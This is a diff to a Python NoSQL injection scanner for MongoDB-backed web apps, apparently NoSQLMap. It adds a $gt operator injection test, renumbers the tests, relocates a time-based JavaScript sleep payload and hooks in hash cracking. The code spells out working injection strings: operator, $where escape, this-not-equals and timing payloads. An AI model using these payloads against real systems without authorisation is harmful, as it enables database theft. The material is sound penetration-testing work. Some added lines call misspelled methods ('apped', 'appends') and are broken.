@@ -449,6 +449,7 @@ def postApps():
449449 trueInt = False
450450 global postData
451451 global neDict
452+ global gtDict
452453 testNum = 1
453454
454455 #Verify app is working.
@@ -553,6 +554,27 @@ def postApps():
553554
554555 #Delete the extra key
555556 del postData [injOpt + "[$ne]" ]
557+
558+ #generate $gt injection
559+ gtDict = postData
560+ gtDict .update ({injOpt :"" })
561+ gtDict [injOpt + "[$gt]" ] = gtDict [injOpt ]
562+ del gtDict [injOpt ]
563+ body = urllib .urlencode (gtDict )
564+ req = urllib2 .Request (appURL ,body )
565+ if verb == "ON" :
566+ print "Testing PHP/ExpressJS >Undefined Injection using " + str (postData ) + "..."
567+
568+ else :
569+ print "Test 2: PHP/ExpressJS > Undefined Injection"
570+
571+ errorCheck = errorTest (str (urllib2 .urlopen (req ).read ()),testNum )
572+
573+ if errorCheck == False :
574+ injLen = int (len (urllib2 .urlopen (req ).read ()))
575+ checkResult (randLength ,injLen ,testNum )
576+ testNum += 1
577+
556578 postData .update ({injOpt :"a'; return db.a.find(); var dummy='!" })
557579 body = urllib .urlencode (postData )
558580 req = urllib2 .Request (appURL ,body )
@@ -561,7 +583,7 @@ def postApps():
561583 print "Injecting " + str (postData )
562584
563585 else :
564- print "Test 2 : $where injection (string escape)"
586+ print "Test 3 : $where injection (string escape)"
565587
566588 errorCheck = errorTest (str (urllib2 .urlopen (req ).read ()),testNum )
567589
@@ -581,7 +603,7 @@ def postApps():
581603 print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n "
582604 print "Injecting " + str (postData )
583605 else :
584- print "Test 3 : $where injection (integer escape)"
606+ print "Test 4 : $where injection (integer escape)"
585607
586608 errorCheck = errorTest (str (urllib2 .urlopen (req ).read ()),testNum )
587609
@@ -602,7 +624,7 @@ def postApps():
602624 print " Injecting " + str (postData )
603625
604626 else :
605- print "Test 4 : $where injection string escape (single record)"
627+ print "Test 5 : $where injection string escape (single record)"
606628
607629 errorCheck = errorTest (str (urllib2 .urlopen (req ).read ()),testNum )
608630
@@ -623,7 +645,7 @@ def postApps():
623645 print " Injecting " + str (postData )
624646
625647 else :
626- print "Test 5 : $where injection integer escape (single record)"
648+ print "Test 6 : $where injection integer escape (single record)"
627649
628650 errorCheck = errorTest (str (urllib2 .urlopen (req ).read ()),testNum )
629651
@@ -645,7 +667,7 @@ def postApps():
645667 print " Injecting " + str (postData )
646668
647669 else :
648- print "Test 6 : This != injection (string escape)"
670+ print "Test 7 : This != injection (string escape)"
649671
650672 errorCheck = errorTest (str (urllib2 .urlopen (req ).read ()),testNum )
651673
@@ -665,7 +687,7 @@ def postApps():
665687 print "Testing Mongo this not equals integer escape attack for all records..."
666688 print " Injecting " + str (postData )
667689 else :
668- print "Test 7 : This != injection (integer escape)"
690+ print "Test 8 : This != injection (integer escape)"
669691
670692 errorCheck = errorTest (str (urllib2 .urlopen (req ).read ()),testNum )
671693
@@ -969,12 +991,26 @@ def getApps():
969991 testNum += 1
970992 print "\n "
971993
994+ if verb == "ON" :
995+ print "Testing PHP/ExpressJS > undefined attack for all records..."
996+ print "Injecting " + uriArray [8 ]
997+
998+ else :
999+ print "Test 8: PHP/ExpressJS > Undefined Injection"
1000+
1001+ errorCheck = errorTest (str (urllib .urlopen (uriArray [8 ]).read ()),testNum )
1002+
1003+ if errorCheck == False :
1004+ injLen = int (len (urllib .urlopen (uriArray [8 ]).read ()))
1005+ checkResult (randLength ,injLen ,testNum )
1006+ testNum += 1
1007+
9721008 doTimeAttack = raw_input ("Start timing based tests (y/n)? " )
9731009
9741010 if doTimeAttack in yes_tag :
9751011 print "Starting Javascript string escape time based injection..."
9761012 start = time .time ()
977- strTimeInj = urllib .urlopen (uriArray [8 ])
1013+ strTimeInj = urllib .urlopen (uriArray [18 ])
9781014 page = strTimeInj .read ()
9791015 end = time .time ()
9801016 strTimeInj .close ()
@@ -1066,6 +1102,7 @@ def errorTest (errorCheck,testNum):
10661102 global possAddrs
10671103 global httpMethod
10681104 global neDict
1105+ global gtDict
10691106 global postData
10701107
10711108 if errorCheck .find ('ReferenceError' ) != - 1 or errorCheck .find ('SyntaxError' ) != - 1 or errorCheck .find ('ILLEGAL' ) != - 1 :
@@ -1079,6 +1116,11 @@ def errorTest (errorCheck,testNum):
10791116 if testNum == 1 :
10801117 possAddrs .append (str (neDict ))
10811118 return True
1119+
1120+ elif testNum == 2 :
1121+ possAddrs .apped (str (gtDict ))
1122+ return True
1123+
10821124 else :
10831125 possAddrs .appends (str (postData ))
10841126 return True
@@ -1095,6 +1137,7 @@ def checkResult(baseSize,respSize,testNum):
10951137 global int24
10961138 global httpMethod
10971139 global neDict
1140+ global gtDict
10981141 global postData
10991142
11001143 delta = abs (respSize - baseSize )
@@ -1109,14 +1152,17 @@ def checkResult(baseSize,respSize,testNum):
11091152 else :
11101153 if testNum == 1 :
11111154 vulnAddrs .append (str (neDict ))
1155+
1156+ elif testNum == 2 :
1157+ vulnAddrs .apped (str (gtDict ))
11121158 else :
11131159 vulnAddrs .append (str (postData ))
11141160
1115- if testNum == 2 or testNum == 4 :
1161+ if testNum == 3 or testNum == 5 :
11161162 lt24 = True
11171163 str24 = True
11181164
1119- elif testNum == 3 or testNum == 5 :
1165+ elif testNum == 4 or testNum == 6 :
11201166 lt24 = True
11211167 int24 = True
11221168 return
@@ -1192,7 +1238,7 @@ def buildUri(origUri, randValue):
11921238 paramName = []
11931239 paramValue = []
11941240 global uriArray
1195- uriArray = ["" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ]
1241+ uriArray = ["" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" , "" ]
11961242 injOpt = ""
11971243
11981244 #Split the string between the path and parameters, and then split each parameter
@@ -1243,6 +1289,7 @@ def buildUri(origUri, randValue):
12431289 uriArray [15 ] = split_uri [0 ] + "?"
12441290 uriArray [16 ] = split_uri [0 ] + "?"
12451291 uriArray [17 ] = split_uri [0 ] + "?"
1292+ uriArray [18 ] = split_uri [0 ] + "?"
12461293
12471294 for item in paramName :
12481295 if paramName [x ] == injOpt :
@@ -1254,7 +1301,7 @@ def buildUri(origUri, randValue):
12541301 uriArray [5 ] += paramName [x ] + "=1; return db.a.findOne(); var dummy=1" + "&"
12551302 uriArray [6 ] += paramName [x ] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&"
12561303 uriArray [7 ] += paramName [x ] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&"
1257- uriArray [8 ] += paramName [x ] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + " &"
1304+ uriArray [8 ] += paramName [x ] + "[$gt]= &"
12581305 uriArray [9 ] += paramName [x ] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&"
12591306 uriArray [10 ] += paramName [x ] + "=a\" ; return db.a.find(); var dummy='!" + "&"
12601307 uriArray [11 ] += paramName [x ] + "=a\" ; return this.a != '" + randValue + "'; var dummy='!" + "&"
@@ -1265,6 +1312,7 @@ def buildUri(origUri, randValue):
12651312 #Add values that can be manipulated for database attacks
12661313 uriArray [16 ] += paramName [x ] + "=a\' ; ---"
12671314 uriArray [17 ] += paramName [x ] + "=1; if ---"
1315+ uriArray [18 ] += paramName [x ] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&"
12681316
12691317 else :
12701318 uriArray [0 ] += paramName [x ] + "=" + paramValue [x ] + "&"
@@ -1285,6 +1333,7 @@ def buildUri(origUri, randValue):
12851333 uriArray [15 ] += paramName [x ] + "=" + paramValue [x ] + "&"
12861334 uriArray [16 ] += paramName [x ] + "=" + paramValue [x ] + "&"
12871335 uriArray [17 ] += paramName [x ] + "=" + paramValue [x ] + "&"
1336+ uriArray [18 ] += paramName [x ] + "=" + paramValue [x ] + "&"
12881337 x += 1
12891338
12901339 #Clip the extra & off the end of the URL
@@ -1642,7 +1691,7 @@ def getDBInfo():
16421691 menuItem += 1
16431692
16441693 userIndex = raw_input ("Select user hash to crack: " )
1645- passCrack (users [int (userIndex )- 1 ],hashes [int (userIndex )- 1 ])
1694+ nsmmongo . passCrack (users [int (userIndex )- 1 ],hashes [int (userIndex )- 1 ])
16461695
16471696 crackHash = raw_input ("Crack another hash (y/n)?" )
16481697 raw_input ("Press enter to continue..." )
0 commit comments